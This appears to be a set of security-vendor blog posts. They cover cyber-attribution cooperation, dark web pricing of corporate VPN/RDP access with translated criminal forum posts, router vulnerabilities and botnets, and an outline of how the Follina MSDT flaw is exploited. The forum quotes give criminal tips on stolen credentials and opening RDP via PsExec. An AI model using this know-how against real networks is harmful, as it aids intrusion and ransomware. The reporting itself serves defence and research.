Additionally, the call for increased regional and international cooperation is limited to national-level representatives such as Computer Emergency Response Teams (CERTs) or Computer Security Incident Response Teams (CSIRTs) and national ICT authorities. Considering that private sector partners (e.g., cybersecurity vendors) have a significant amount of cybersecurity expertise, the involvement of such private sector partners in international cooperation efforts could significantly assist the international community in gaining more insight into cyberattacks, and aid in attribution processes. It must be noted that expanding the ‘playing field’ to bring in private sector entities would entail significant national security considerations. Successfully addressing this issue would allow private sector expertise to be utilised and further elevate the technical attribution capabilities that states currently possess. Identifying the channels and mechanisms for private sector involvement seems therefore critical for future discussions on building trusted and verifiable technical attribution.

As demonstrated, there is a clear need for greater communication, transparency, and accessibility to information amongst states, while paying some degree of consideration to national security concerns. However, this is not the first time the international community has faced such transnational problems, which require capacity and expertise-building, as well as cooperation among actors from both the public sector and private industry, in order to solve them. As outlined in the Annex, examples from such disparate areas as piracy, nuclear non-proliferation, and space offer us lessons as to how technical cooperation can operate globally. Information-sharing, a key barrier to international cooperation due to national security concerns, can be effectively implemented once the necessary supporting structures (i.e., agreed-upon definitions and norms) are in place. Potential cooperation can also initially take the form of ‘minilaterals’ or technical ad-hoc groups, where good practices are first shared across a small number of states before being scaled up. Private sector expertise can also be shared with national-level agencies via an array of carefully crafted private-public partnerships (PPP).

Lastly, capacity building to help the multitude of stakeholders as well as states (with less cyber capacities) to learn complexities of technical attribution should be another critical element in ongoing international efforts. Examples of this could be security training sessions, roundtable discussions (e.g., such as those organized by UNIDIR), gamified virtual exercises (e.g., the Cyber Stability Games developed by Kaspersky with the support of DiploFoundation), amongst others.


It is hoped this piece has shed more light on the nuances and caveats of technical attribution, which could be used for further research and analysis by other actors. As no one cybersecurity vendor or any other actor in cyberspace has comprehensive visibility into the threat landscape, closer cooperation among security researchers and cybersecurity companies is necessary for building fact and evidence-based technical attribution as well as public research. Greater dialogue between security researchers, diplomats, and academia is necessary to avoid their ‘worlds’ existing in silos. Furthermore, technical attribution and its nuances need to be better understood and more accessible for both diplomatic negotiations within the bodies like the UN First Committee (which is responsible for dealing with disarmament and international security matters) and evidence-based academic research (which may also inform the former).

An international attribution mechanism could be a solution to greater transparency in, and accessibility of technical attribution in an ideal world. However, the likelihood of this being set up in the near future remains relatively low. The lack of political will of states to tie themselves to formal legal obligations in cyberspace means that an effective information-sharing mechanism resembling that which exists in the Somali piracy context is highly unlikely, at least for the near-term. The UN and International Atomic Energy Agency’s nuclear information-sharing mechanisms further point to the institutional limits of any such international body. A more feasible alternative would be the building of technical ad-hoc groups, or various mini-lateral groupings, following the examples of from the nuclear and space policy realm. Such groups, represented by a diverse security research community and academics, could serve as a technical consultative tool for intergovernmental negotiations taking place within various international fora, such as the UN First Committee. Leadership efforts of a few states, coupled with a global recognition of the danger the lack of information sharing mechanisms creates, is therefore urgently required for any such group to be effectively set up.

Annex: Lessons from past global information-sharing initiatives Information-sharing on Piracy in Somalia

Although it exists in a totally different domain, the case of piracy off the coast of Somalia can give us insights into how information-sharing to tackle a common threat might actually occur.[9] A series of UN Security Council (UNSC) Resolutions have bolstered several informal information-sharing mechanisms, aiming to aid in the direct enforcement of international law and the prosecution of piracy crime. The Contact Group on Piracy off the Coast of Somalia (CGPCS) is one such mechanism. An international forum bringing together more than 60 States and international organisations, the CGPCS meets in plenary sessions and various issue-based working groups to share data and enforce coordination strategies. Piracy-related information-sharing mechanisms have been praised as instrumental in lowering rates of Somali piracy over the past two decades. Why then has this area proven so fertile for functional and effective information-sharing regimes and how might this measure up in the case of technically attributing cyberattacks?

First and foremost, the piracy context enjoys a well-established customary legal practice in international law. The nature of the crime means it is carried out in ‘international waters’, removing jurisdictional conflicts, giving any State the right to seize and penalise pirate ships in high seas. Secondly, the information that is shared among States and organisations for prosecution purposes rarely relies on data protected under the umbrella of ‘national security’. This is not to say that counter-piracy information-sharing mechanisms do not face obstacles. Investigators and prosecutors use similar techniques to cyber attributors of ‘following the money’ and mapping data on group activities and group characteristics. However, unlike in cyber attribution cases, piracy prosecutions centre on relatively unambiguous sets of perpetrators (i.e., Somali pirates), a shared public venue for apprehension activities (i.e., international waters), and less sensitive data required to prosecute piracy (e.g., GPS-based location data, photographs of attacks on vessels). Drawing upon such criteria, technical attribution would therefore require a mechanism to unambiguously identify the sets of perpetrators (i.e., cyberattackers/attack groups), a shared venue that is clearly outlined (i.e., public vs private cyberspace), and data that is both valuable yet falling short of the ‘classified’ threshold. All the above need to be established within the international ‘cyber environment’ via clear and widely-accepted cyber norms. Their relative absence is therefore indicative of the fact that the success of CGPCS and other piracy-related information sharing mechanisms may be difficult to replicate in the cyber context.

Nuclear non-proliferation and space cooperation as possible PPP models

Nuclear non-proliferation, or nuclear weapons disarmament, is another issue of international concern where, like in cyber attribution cases, information sharing is recognisably important yet swarmed with political and security apprehension. The widely ratified Treaty on the Non-Proliferation of Nuclear Weapons (‘NPT’) governs the international efforts to prevent the spread of nuclear weapons and to promote cooperation in the peaceful uses of nuclear energy. Article IV of the Treaty specifically states that parties undertake to facilitate and have the right to participate in the fullest possible exchange of information, with the International Atomic Energy Agency (‘IAEA’) being entrusted with key verification responsibilities under the NPT. Additional Protocols to the IAEA’s Statute have, over the years, improved the Agency’s ability to verify the integrity of information provided by states regarding their nuclear activities. Replicating this system in the cyber context would be difficult primarily because of the lack of a treaty that comprehensively regulates state behaviour in cyberspace.

Indeed, there is little unified political will for any such international agreement in the foreseeable future. Despite the limited powers that the IAEA has over sovereign states, it nonetheless has the authority to conduct inspections, gather data and share information because signatory state parties (to the NPT and IAEA Statue) have willingly given up some of their sovereign rights for these purposes. The existence of the NPT, as a formal source for state obligations, establishes expectations that states can be held to, and provides any mechanisms stemming from it with a degree of authority and political weight. Furthermore, this makes ad-hoc and informal mechanisms in the nuclear context easier to establish and find global support for. The International Partnership for Nuclear Disarmament Verification (IPNDV) is one example of a public-private partnership that brings global actors together to identify and solve technical challenges in monitoring and verifying nuclear disarmament that formal state agreements are not equipped to solve. The fact that states have legal obligations to participate in information sharing means that research opportunities, funding and solutions to information protection issues are also more likely.

The realm of nuclear non-proliferation, where a comprehensive treaty and a slew of associated organisations and bodies support it, is unlike the cyber domain where the quantity of agreements is lower and less comprehensive in terms of issue-area coverage. Yet it is also worth pointing out that the lack of an international treaty does not preclude actors from working together. Initiatives undertaken by just a few states (termed ‘minilaterals’) can lead to the development of good practices, which can be scaled up and tweaked to accommodate additional members. An example of such an initiative is the Space Situational Awareness (‘SSA)’ Sharing Program set up by the US Air Force Space Command in recognition that space situational awareness is critical to avoiding unintentional collisions and detecting and attributing attacks to space assets. Initially, the Program suffered from severe asymmetries of information among the interested parties, with the US Air Force having access to an internal catalogue with detailed information on all tracked objects, while the publicly accessible catalogue contained only basic information on a subset of space assets. Such an approach, justified through national security concerns, showed its limitations in 2009, when a commercial communication satellite and a defunct Russian Cosmos satellite collided without advanced warning to the commercial operators. Through series of multistakeholder agreements in 2019 between the US Strategic Command, 19 states, two international organisations, and more than 77 commercial satellite owners, operators and launchers, data that is of a significantly higher-quality has begun to be shared in a more systematic manner between all parties. Such an outcome can perhaps offer us some insight, not just to the benefits of private-public partnerships (PPP), but how such PPPs can benefit all actors that operate within the realm of both space and/or cybersecurity. The increased frequency and impact of cyberattacks targeted at governmental infrastructure over the past years has to some extent pushed the international community to explore such coordinated responses. Whether or not these events will have a sufficient impact for a coordinated effort like with the SSA remains to be seen.


[1] E.g., Estonia has expressed that “attribution remains a national political decision based on technical and legal considerations regarding a certain cyber incident or operation. Attribution will be conducted on a case-by-case basis, and various sources as well as the wider political, security and economic context can be considered”. https://front.un-arm.org/wp-content/uploads/2021/08/A-76-136-EN.pdf

[2] E.g., Germany has expressed that “Attributing a cyber incident is of critical importance as a part of holding States responsible for wrongful behavior and for documenting norm violations in cyberspace.” https://front.un-arm.org/wp-content/uploads/2021/08/A-76-136-EN.pdf

[3] E.g., submissions from some multistakeholders to the 2019-2021 UN OEWG highlight the need for a “multistakeholder approach which engages all relevant stakeholders to build strong, impartial and verifiable verification mechanisms that build trust and confidence” (https://front.un-arm.org/wp-content/uploads/2020/04/cs-coordination-perspectives-on-oewg-pre-draft.pdf) and support to “support multistakeholder, independent and coordinated attribution efforts” (https://front.un-arm.org/wp-content/uploads/2020/04/oewg-pre-draft-gpd-response-final.pdf).

[4] Mueller, M. et al, (2019) ‘Cyber Attribution: Can a New Institution Achieve Transnational Credibility?’, The Cyber Defense Review, 4(1): 107-122; https://css.ethz.ch/content/dam/ethz/special-interest/gess/cis/center-for-securities-studies/pdfs/CSSAnalyse244-EN.pdf.

[5] https://ict4peace.org/wp-content/uploads/2019/08/ICT4Peace-2019-Submission-UN-Open-Ended-Working-Group.pdf; https://front.un-arm.org/wp-content/uploads/2021/02/WILPF_zero-draft_23Feb2021.pdf.

[6] E.g., through signaling their own capabilities and technical advances to adversaries who could use this as an additional advantage.

[7] Ibid, paragraph 22.

[8] UN GGE Report 2021 (n 17), paragraph 27 and 28.

[9] McLaughlin, R. and Paige, T. (2015) ‘The Role of Information sharing in Counter Piracy in the Horn of Africa Region: A Model for Transnational Enforcement Operations’, Journal of International Law and International Relations, 12(1).

How much does access to corporate infrastructure cost?

15 Červen, 2022 - 12:00

Division of labor

Money has been and remains the main motivator for cybercriminals. The most widespread techniques of monetizing cyberattacks include selling stolen databases, extortion (using ransomware) and carding. However, there is demand on the dark web not only for data obtained through an attack, but also for the data and services necessary to organize one (e.g., to perform specific steps of a multiphase attack). Complex attacks almost invariably feature several phases, such as reconnaissance, initial access to the infrastructure, gaining access to target systems and/or privileges, and the actual malicious acts (data theft, destruction or encryption, etc.). This is just one example of a phased attack where each step can be accomplished by a new contractor – if only because the different steps require different expertise.

Experienced cybercriminals seek to ensure the continuity of their business and constantly need new data for initial access to corporate systems. It’s advantageous for them to pay for prearranged access rather than spend time digging for primary vulnerabilities and penetrating the perimeter.

Screenshot translation

I will buy accounts for access to corporate VPNs or firewalls (FortiGate, SonicWall, PulseSecure, etc.) or take them for further attack development.
I have a small team.
Revenue from 150kk and higher.
Countries: US, CA, AU, GB
Suggest your price in pm, everything is negotiable
Price: 1000 USD
Send offers to private messages

Request for access to corporate VPN. Source: Kaspersky Digital Footprint Intelligence service portal

In contrast, less experienced cybercriminals are not always able to see an attack through to the end (malware execution, data theft, etc.), but are proficient enough to make money by selling initial access. This article deals specifically with this initial access market.

Types of initial access

These are the most common actions used by cybercriminals to obtain initial access to corporate infrastructure in order to develop an attack:

  • Exploitation of software vulnerabilities. For example, attacks on a corporate web resource (exploitation of first-day vulnerabilities across website components, SQL injections, gaining access to vulnerable web app control panels, etc.).
  • Obtaining legitimate corporate credentials. For example, use of data from stealer logs or password mining.
  • Phishing attacks on employees. For example, an email with a malicious payload.

You can learn more about these types of attacks and the specifics of gaining initial access from our analysis report based on data from hundreds of incident investigations.

A special mention should be made of the method for capturing legitimate accounts based on stealers. These malicious programs residing in infected devices collect various account and payment data, cookie files, authorization tokens, etc. that they save to their logs. Cybercriminals scan these logs in search of data they can exploit and monetize: some are looking for credit card data, others for domain accounts, social network accounts, etc. They refer to this stage as processing. After sorting the logs, they either exchange their finds on forums by making them public or sell them to individual buyers.

Screenshot translation

[2TB of logs] I will retrieve data from my databases on your requests
I have my own databases. I can retrieve data you need from my databases.
Suggest your price.
2TB of 2020-2021 data: credentials related to banking accounts and the most popular services. Profit will only be obtained from private service accounts.

Malware log offers on a dark web forum. Source: Digital Footprint Intelligence service

Screenshot translation

Malware logs (different). General topic.
I publish log data of Azor ransomware for free, it could be useful for someone.
Logs contain mixed data from infected devices worldwide.

Free malware log offers on a dark web forum. Source: Digital Footprint Intelligence service

The cybercriminals are literally dealing in gigabytes of logs generated by stealers.

Large volume of logs uploaded to a file exchange service

Screenshot translation

Verified! I will buy information retrieved from your log data (USA) based on my request [MAIL:PASS only required]
Good day!
I will buy information retrieved from your log data (with USA-related data extracted) based on my request.
I buy at least 150 lines, thus, I will not pay if you will send me less lines.
Warning! I buy only user credentials (MAIL:PASS) data from your logs, which match my requirements, I do not need the whole logs
If you do not know how to extract mail:pass data from logs, you can use StealerLogSearcher v1.3
My request:

  • I have Brute/Checker [it does not work fast]
  • I pay only for valid credentials + credit cards data (no matter if credit card is active or not)
  • Your own log data is the priority, I already have 95% of public logs
  • Price is 0.5 USD for valid user account with linked card
  • NO payment for already used accounts (I can see it by log data) | If more than 80% of accounts in the database have already been used, I will NOT PAY FOR PROVIDED LINES AT ALL.
  • I normalize the provided database, remove duplicates and compare with my anti-public database before processing your data via brute/checker
  • I work with everybody on a first-come, first-served basis, if my software is already processing someone’s database – wait
  • I only work with a guarantee or first logs, then payment. Doesn’t matter who you are.
  • I won’t work with you if you act crazy, hurry me, talk rude, cadge, etc.

Screenshot translation

Hi everybody! I am looking for checked (verified) mixed Facebook logs.
The catalog with log data should contain Facebook EAAB (access) token and cookie file, an example is attached.
I need valid logs.
Initially, required value of data is 100-200 samples per week.
Contact me via private messages or Telegram. Thank you for your attention!

Topic on dark web forum with a request for specific malware logs

Main criteria for initial access valuation

Cybercriminals use a set of criteria when describing which company they sell access to on dark web forums: company size, revenue, business area, region and so forth. Yet, from analyzing a lot of posts you could conclude that corporate revenue is the main criterion: almost all posts mention revenue, whereas the region and business area of the target company are advertised much less. Some posts also refer to the level of complexity as a reason for high prices, i.e., how much time and effort the seller spent to gain access. But this is quite a subjective criterion that depends, among other things, on the cybercriminal’s expertise.

Screenshot translation

I sell VPN accounts of USA companies, revenue is 1kkk$
Company is a global organization that provides technologies and services for customers and specializes in design and implementation
Employees: more than 50 000
Revenue: $1 billion
Price: 7 000$
Access type: VPN
Company is a leading provider of web presence solutions for small and mid-sized businesses worldwide.
Employees: 2k+
Revenue: 700kk$
Price: 5 000$
Access type: VPN
We work with guarantees; otherwise, you pay a deposit and I will provide you with access information in advance.
First contact in private messages.

Screenshot translation

[Sale] VPN-RDP accounts for network access
Company is a law firm providing legal support services to clients, assistance in business projects start-up and pre-trial proceedings.
Country: France
Access type: VPN-RDP
Revenue: 8kk+$ (information is current as of 2019)
Access level: Admin
Price: 300$
Company is a private healthcare organization with its own laboratory. It provides wide-ranging medical services.
Country: USA
Access type: VPN-RDP
Revenue: 3kk+$
Access level: Admin
Price: 300$
Company provides a wide range of construction services, including door/window installation. It also has its own production facility.
Country: United Kingdom
Access type: VPN-RDP
Revenue: 2kk+$
Access level: Admin
Price: 200$
Company produces branded clothes.
Country: USA
Access type: VPN-RDP
Revenue: 6kk+$]

Announcements on a dark web forum offering VPN/RDP network access to different organizations

In addition to the target company’s features, the price can also depend on the type of access offered. Information about a vulnerability (e.g., SQL injection) and legitimate credentials (e.g., RDP/SSH) will be priced very differently for companies with comparable revenues, because they offer a different probability of a successful attack. Selling an account to access remote management interfaces (RDP, SSH) means that access to a system in the corporate network infrastructure has already been gained, whereas a vulnerability merely offers the chance to achieve a similar level of access. Even when it comes to the same issue, such as an SQL injection, there are many factors affecting the potential development of the attack (vulnerable host location (e.g., corporate network or cloud server), what DBMS is used, the intended vulnerability exploitation technique, database volume, etc.) and, therefore, its cost.

Cost of initial access

To find out how these criteria influence the cost of access, we analyzed about 200 posts published on two popular dark web forums. We identified a set of relevant parameters for each one:

  • Corporate revenue
  • Type of access
  • Price of data
  • Company info (region, business area, etc.)

That done, we screened out from our selection the irrelevant posts – those not stating revenue or the price of network access data. This reduced the total number to 117 posts.

The following diagram shows the correlation between lot price and revenue without considering the technical factors:

The correlation between the price of network access data and a company’s revenue (download)

As you can see:

  • Most offers fall within the $0–$5,000 price range
  • Most offers refer to moderately sized companies
  • Average price of access data (depicted as a trend line) is between several hundred and five thousand dollars, and grows as revenue increases

Some of the major deviations from the price range can be explained by lot characteristics, such as business area specifics. For instance, network access data for a company specializing in POS terminals and providing internet acquiring services is valued much higher ($20,000) than other similar offers. The price may also be increased by “bonuses” attached to the lot, such as an already compromised database containing email addresses or other sensitive or confidential data sold in the same package along with the access. The buyer can either process these later or use and resell them separately.

If we take a closer look at the price distribution across the whole body of offers, almost half of them (42.74%) are under $1,000.

Offers grouped by price category (download)

If analyzed in terms of access type, most posts offer RDP access or a VPN + RDP bundle (75.21% of lots). In the diagram below both of these options belong to the categories “RDP access (without details)”, “RDP access (local admin)”, “RDP access (domain admin)” and “RDP access (user)”.

Offers grouped by access type (download)

To get a clearer picture of the connection between lot price and corporate revenue, we analyzed the posts offering data for RDP access – the most common access category and most uniform pricewise – for large businesses with revenue of over $500 million. The following diagram shows how revenue affects the cost of data for RDP access.

The correlation between RDP access cost and large company revenue (download)

This diagram doesn’t demonstrate a direct correlation between access cost and corporate income. However, the selection is quite small, meaning the disproportionate influence of variable access properties (user privileges, a company’s country/region/industry) could skew any remotely objective conclusions based on quantitative analysis.

One way or another, access to large business infrastructure usually costs between $2,000 and $4,000, which are relatively modest prices. But there is no upper limit to the cost either. For example, in the topic below the original lot price was $50,000 (the lot also covered a number of sub-companies). And even though the price was later halved by the seller, one of the thread members called the offer overpriced.

Screenshot translation

Hi, I offer VPN-RDP access
There is access data to 2-3 domains of that network, the total number is 3-4, I don’t know exactly, see the screenshot below for DNS servers!
Country: Australia
The company sells goods, not foodstuffs etc., but garments etc.! more in pm!
Revenues differ, 465 million for the main company only, and there is access to their networks, there is also an account with their domain, I could not get access to the domain itself so far! but if you try you can gain access to all domains in their different networks!
Respond only if ready to buy, preferably with a big deposit
Price: $50k not much for several companies with resources on one network. There are lots of RDP interfaces, RDP is closed on some servers, but it can still be opened easily using PSexec or using your own method!
not in a hurry to sell. every network has its own network access servers, I think some of them were accessible, there is lots of data for processing with a good chance of a successful outcome! The country is not poor, so if an attack is conducted well, the payoff will be substantial!
Updating my post, I have taken 4 Domain Admins, let me make it clear for the dumb ones out there, 4 Domain Admins means different accounts for different ADs. for example, there is a network XXXX with several AD services each with user accounts of its own, there is also another XXXX network also with several ADs and accounts of its own, well, I have access to each AD from the different networks, you will be able to compromise networks of 4-5 different companies in one go, all these companies belong to 1 head company, and four subsidiaries are on the same VPN network, and they are all interconnected, each network has an internet adapter of its own, as I said before, respond only if ready to buy, preferably with a big deposit!

Sale of data for remote access to five companies in one network for $50,000

Screenshot translation

If you buy today I will cut the price down to $25K
Warning from moderator: work strictly through guarantee

Price reduced from $50,000 to $25,000

Screenshot translation

You seem to have no clue what access is and what its price is, nobody will buy it even for 3K, 95% probability

Comment about the offer being overpriced

Screenshot translation

Your message is funny, I saw people selling access for $100K, I saw people getting many times more than they had paid, this is what buying access is all about, if you buy access for ransomware and process it properly, and if you get paid around $200K which is nothing for companies like that, you get huge profit, I’m not mentioning people charging $1mn and more, if you are not happy about something keep your comments to yourself, do not litter the thread!

Response to comment about the offer being overpriced

Screenshot translation

2 minutes ago Eastfarmer said:
I can’t stop laughing, don’t you mind the disgrace, what is it I don’t know about ransomware? are you the person who enters, checks nothing and encrypts the first random machines? $1k? go ahead and tell me why it should cost $1k. is it just one company with 20 computers and revenue of 10 mn? don’t be stupid man. I am telling you again there are 5 companies, they are all subsidiaries of a head company, a subsidiary has $465mn revenue, others a bit less. Australians?)))))) you mean Australians are poor? do they have a poor economy? man, people pay huge money even for African companies. What are you trying to tell me, a friend of mine pocketed $200k from a company with $15mn revenue. It was Estonia, or maybe you are a friend and supporter of the first two dudes or just a windbag? I really don’t get it what are you trying to make of it, if they don’t buy it so be it, why this pointless flood? can’t you just pass it by? mind your own business
I didn’t say a word about you being a poor pentester. I said you are poor ransomwarer at least because you have not conducted the attack yourself)) do you understand the difference, nobody insulted you as a specialist, if you took offence I am sorry. I will not write to your thread any more

Discussion continuation. Source: Digital Footprint Intelligence service

Here is another example of a high price being asked for data belonging to a company with a revenue of $500 million. The asking price is 12 BTC.

Screenshot translation

Revenue: > $500 million+
There is access to a network, admin-level access, direct connection to SSH servers, access to backups.
Price: 12 BTC
All questions in pm

Lot price 12 BTC

Interestingly, gaining access to corporate networks is in high demand, with some lots selling the same day they are published.

Access data sold on the day of publication

Access data sold a few days after publication

Ransomware auctions: stolen data pricing

Undoubtedly, one of the most important components of the initial access price is the amount of money the buyer can potentially earn from an attack conducted using that access. Cybercriminals are ready to pay thousands or even tens of thousands of dollars for the opportunity to infiltrate a corporate network for a reason. Successful attacks pay off very nicely. Ransomware attacks are a prime example. In attacks like that malware usually encrypts a significant amount of data on workstations or servers, virtually paralyzing the company’s operations or causing material risks to its business processes. Once encryption is accomplished, the attackers contact the victim with an offer to buy decryption keys. These often cost millions of dollars. For example, according to media reports, a European travel agency dished out $4.5 million, and a large American insurer a whopping $40 million in ransom money.

Of late, cybercriminals have tended not only to encrypt but also steal corporate data. They may later post some of the stolen data in their blogs – primarily as proof but also as extra leverage –threatening to publish more unless the company pays them the money they demand within the stipulated timeframe.

Different ransomware groups follow different approaches to publishing stolen data.

  • Some of them publish information about the incident (along with the data) only if no agreement is reached with the victim.
  • Some publicize the incident immediately after the attack and state exactly when they plan to begin disclosing critical data.
  • Some set up an auction in which the stolen data will go to whoever is willing to pay the highest price (presumably a single buyer). In this latter case, the auction price of a lot – though smaller than the ransom charged for data decryption – can still be several times more than the price of access to the corporate system.

If we take a look at posts offering stolen data to a single buyer, the lot price normally starts in the tens of thousands of dollars, often reaching sums of around a million.

Blackmailer blog: auction price of stolen data

Blackmailer blog: auction price of stolen data along with published data

Blackmailer blog: auction closed (stolen data sold to a single buyer)

Blackmailer blog: active auction

Blackmailer blog: stolen data published in parts (one part at a time)

Blackmailer blog: data on Charlie Hebdo terrorist attack stolen from a legal firm are available for $1 million

Blackmailer blog: attackers announce the publication of stolen data after they failed to negotiate with the victim company

Blackmailer blog: attackers announce they are waiting for the ransom (1 day and 11 hours left before the publication of stolen data)

Blackmailer blog: the attackers published the stolen data because the ransom was not paid


Demand for corporate data on the black market is high, and it doesn’t always involve targeted attacks. Attackers may gain access to the infrastructure of a random company to sell it to blackmailers or other advanced cybercriminals later. An attack like that can affect a company of any size, big or small, because corporate system access is often priced moderately on underground forums, especially compared to the potential damage to a business.

Sellers on the dark web most often offer remote access via RDP. To protect corporate infrastructure from attacks through remote access and control services, make sure the connection via this protocol is secure by:


[1] For details of the service and test access, please contact us at intelligence@kaspersky.com

Router security in 2021

8 Červen, 2022 - 12:00

A router is a gateway from the internet to a home or office —  despite being conceived quite the opposite. Routers are forever being hacked and infected, and used to infiltrate local networks. Keeping this gate locked so that no one can stroll right through is no easy task. It is not always clear just how this locking works, especially when it comes to home routers, whose users are by no means all security pros. What’s more, it’s not uncommon for routers to be full of holes.

Since the start of the pandemic, however, router security has received more attention. Many companies introduced remote working for employees, some of whom never returned to the office. If before the pandemic few people worked from home, now their number is significant. As a result, cybercriminals now see home routers as gateways to corporate networks, and companies as potential attack vectors. Proof of the heightened attention in network devices comes from the sharp rise in the number of vulnerabilities found in them in recent years.

Router vulnerabilities

According to cve.mitre.org, the number of vulnerabilities discovered in various routers, from mobile to industrial, has grown over the past decade. However, with the mass shift to remote working, it went off the scale. During 2020 and 2021, more than 500 router vulnerabilities were found.

Number of router vulnerabilities according to cve.mitre.org, 2010–2022 (download)

The nvd.nist.gov website presents different figures, but they too show a significant increase in the number of router vulnerabilities found in 2020 and 2021.

Number of router vulnerabilities according to nvd.nist.gov, 2010–2022 (download)

Analyzing the nvd.nist.gov data on router vulnerabilities, we calculated that 18% were critical, and more than half (53.5%) were high-priority.

Distribution of router vulnerabilities by priority, 2021 (download)

Critical vulnerabilities are the very holes in the gateway through which an intruder can penetrate a home or corporate network. They make the router much easier to hack, which gives the opportunity to get round password protection features (such as CAPTCHA or a limited number of login attempts), run third-party code, bypass authentication, send remote commands to the router or even disable it. In early 2022, for instance, a security researcher effectively cut off the whole North Korea from the internet by exploiting unpatched vulnerabilities in critical routers and other network equipment.

Unfortunately, not all vendors are rushing to fix even critical vulnerabilities. At the time of writing, of the 87 critical vulnerabilities published in 2021, more than a quarter (29.9%) remain unpatched and unreported by the vendor:

Router manufacturers’ response to vulnerabilities found in their products in 2021 (download)

Note the third column in the diagram: 26% of all critical router vulnerabilities published in 2021 received a vendor advisory. These advisories do not always come with a full-fledged patch. In some cases, they only recommend owners of vulnerable devices to contact support.

Moreover, whereas employees have more or less got to grips with protecting laptops, desktop computers and even mobile devices, they may not know what to do, if anything, with routers. According to a survey by UK company Broadband Genie, 48% of users had not changed any of their router’s settings at all, even the control panel and Wi-Fi network passwords. 73% of them just see no reason to go into the settings, and 20% do not know how to do it.  That said, the situation with router security is gradually improving: if a Shodan.io search for smart devices with the default password in the summer of last year revealed more than 27,000 hits, a similar search in April 2022 returned only 851. Moreover, most of these routers had the name HACKED-ROUTER-HELP-SOS-DEFAULT-PASSWORD, indicating they had already been compromised.

Shodan.io search results for “default password” in June 2021

Shodan.io search results for “default password” in April 2022

These results are most likely due to the fact that many vendors started creating unique, random passwords for each individual device, instead of a standard default password for all of them, available to anyone.

Router-targeting malware

To find out why cybercriminals attack routers, it is first worth looking at the Top 10 malware detected by our IoT traps in 2021.

Verdict %* 1 Backdoor.Linux.Mirai.b 48.25 2 Trojan-Downloader.Linux.NyaDrop.b 13.57 3 Backdoor.Linux.Mirai.ba 6.54 4 Backdoor.Linux.Gafgyt.a 5.51 5 Backdoor.Linux.Agent.bc 4.48 6 Trojan-Downloader.Shell.Agent.p 2.54 7 Backdoor.Linux.Gafgyt.bj 1.85 8 Backdoor.Linux.Mirai.a 1.81 9 Backdoor.Linux.Mirai.cw 1.51 10 Trojan-Downloader.Shell.Agent.bc 1.36

* Attacks by this malware as a percentage of all attacks on Kaspersky IoT honeypots in 2021

As the table shows, around a half of all verdicts belong to the Mirai family. Discovered back in 2016, it remains the most common malware infecting IoT devices. This botnet of routers, smart cameras and other connected devices is the most persistent there is, since infected devices cannot be cured by any protective technologies, and users often do not notice that something is wrong.

The Mirai botnet was originally designed for large-scale DDoS attacks on Minecraft servers, and was later employed to attack other resources. After its source code was published, all and sundry began to distribute it and conduct DDoS attacks using Mirai-infected devices.

Mirai is not the only DDoS malware to target routers. In September 2021, the Russian companies Yandex, Sber and others were subjected to the largest DDoS attack ever observed using a new botnet of MikroTik routers. Researchers named the botnet Meris. It is believed to consist of 200–250 thousand devices infected with the new malware.

Thus, one of the main goals of attacking routers is to recruit them into botnets to carry out large-scale DDoS attacks.

But we should not forget the main function of a router: to act as a gateway to the internet from a local network. Cybercriminals can hack into routers to get into a user’s or company’s network.

But we should not forget the main function of a router: to act as a gateway to the internet from a local network. Cybercriminals can hack into routers to get into a user’s or company’s network. Such attacks can be smaller in scale than creating DDoS botnets, for which reason they are not listed in the most common threats to routers. That said, they are far more dangerous for companies than Mirai.

For example, there have been reports about attacks by the Sandworm APT group on small office/home office (SOHO) network devices. The cybercriminals infected WatchGuard and Asus devices with the Cyclops Blink malware. Although we cannot say for sure what they intended to do next, this malware persists in the firmware even after a factory reset and gives attackers remote access to compromised networks.


The growing interest in router security in recent years stems largely from the belief that protecting a router is a task beyond the grasp of ordinary users. At the same time, remote working allows intruders to penetrate a company’s infrastructure by exploiting a security hole in an employee’s home network. It’s a mouth-watering prospect for attackers, but companies are not blind to the threat.

If you want to secure your home router or develop security guidelines for remote employees, we advise the following:

  • Change the default password to one that is strong (i.e. long and complex). There is no shame in writing down the password for your home router — it is rarely used and physical access to the router is restricted to a small circle of individuals.
  • Use proper encryption. As of today, that means WPA2.
  • Disable remote access. To do so, simply find this setting in the interface and uncheck Remote Access. If remote access is needed after all, disable it when not in use.
  • Make sure to update the firmware. Before purchasing a router, make sure that the vendor issues firmware updates on the regular basis and install them promptly on the device.
  • For extra security, use a static IP address and turn off DHCP, as well as protect Wi-Fi with MAC filtering. All this will make the process longer and more complicated, as you will need to set up any additional device connections manually. But it will be far harder for an intruder to get into the local network.

CVE-2022-30190 (Follina) vulnerability in MSDT: description and counteraction

6 Červen, 2022 - 10:00

At the end of May, researchers from the nao_sec team reported a new zero-day vulnerability in Microsoft Support Diagnostic Tool (MSDT) that can be exploited using Microsoft Office documents. It allowed attackers to remotely execute code on Windows systems, while the victim could not even open the document containing the exploit, or open it in Protected Mode. The vulnerability, which the researchers dubbed Follina, later received the identifier CVE-2022-30190.

CVE-2022-30190 technical details

Briefly, the exploitation of the CVE-2022-30190 vulnerability can be described as follows. The attacker creates an MS Office document with a link to an external malicious OLE object (word/_rels/document.xml.rels), such as an HTML file located on a remote server. The data used to describe the link is placed in the tag with attributes Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject”, Target=”http_malicious_link!”. The link in the Target attribute points to the above-mentioned HTML file, inside which a malicious script is written using a special URI scheme.
When opened, the attacker-created document runs MSDT. The attacker can then pass, through a set of parameters, any command to this tool for execution on the victim’s system with the privileges of the user who opened the document. What is more, the command can be passed even if the document is opened in Protected Mode and macros are disabled.
At the time of posting, two document formats were known to allow CVE-2022-30190 exploitation: Microsoft Word (.docx) and Rich Text Format (.rtf). The latter is more dangerous for the potential victim because it allows execution of a malicious command even without opening the document — just previewing it in Windows Explorer is enough.

Protecting against Follina

Kaspersky is aware of attempts to exploit the CVE-2022-30190 vulnerability through Microsoft Office documents. Our solutions protect against this using the Behavior Detection and Exploit Prevention tools.
The following verdict names are possible:

  • PDM:Exploit.Win32.Generic
  • HEUR:Exploit.MSOffice.Agent.n
  • HEUR:Exploit.MSOffice.Agent.gen
  • HEUR:Exploit.MSOffice.CVE-2017-0199.a
  • HEUR:Exploit.MSOffice.CVE-2021-40444.a
  • HEUR:Exploit.MSOffice.Generic

Geography of Follina exploitation attempts with Exploit.MSOffice.CVE-2021-40444.a verdict, May 1 – June 3, 2022 (download)

